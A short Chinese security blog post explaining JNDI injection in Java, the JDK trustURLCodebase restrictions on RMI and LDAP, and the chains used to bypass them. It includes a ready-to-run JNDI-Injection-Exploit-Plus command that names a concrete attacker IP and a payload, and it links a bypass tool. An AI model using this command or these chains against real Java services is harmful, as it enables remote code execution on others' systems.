Java:JNDI 注入+高版本绕过

outman
4
2025-06-30

JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。

RMI:远程方法调用注册表

LDAP:轻量级目录访问协议


参考:https://tttang.com/archive/1405/

RMI限制:

com.sun.jndi.rmi.object.trustURLCodebase、

com.sun.jndi.cosnaming.object.trustURLCodebase的默认值变为false,即不允许从远程的Codebase加载Reference工厂类,不过没限制本地加载类文件。

 

LDAP限制:

com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被调整为false,导致LDAP远程代码攻击方式开始失效。这里可以利用javaSerializedData属性,当javaSerializedData属性value值不为空时,本地存在反序列化利用链时触发。


JNDI利用分类:

1、远程Reference链

2、本地Reference链

3、反序列化链

版本过高,会导致远程链不能使用

链条利用分类:

1、针对 JDK 版本的 jndi 注入

2、针对中间件包的 jndi 注入

3、针对依赖 jar 包链的 jndi 注入

JDNI 工具利用

java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "calc" -A "http://47.238.88.39/#/fastjson"

根据可能存在的中间件,选择不同的攻击链

JNDI Bypass 自动化绕过工具

https://github.com/B4aron1/JNDIBypass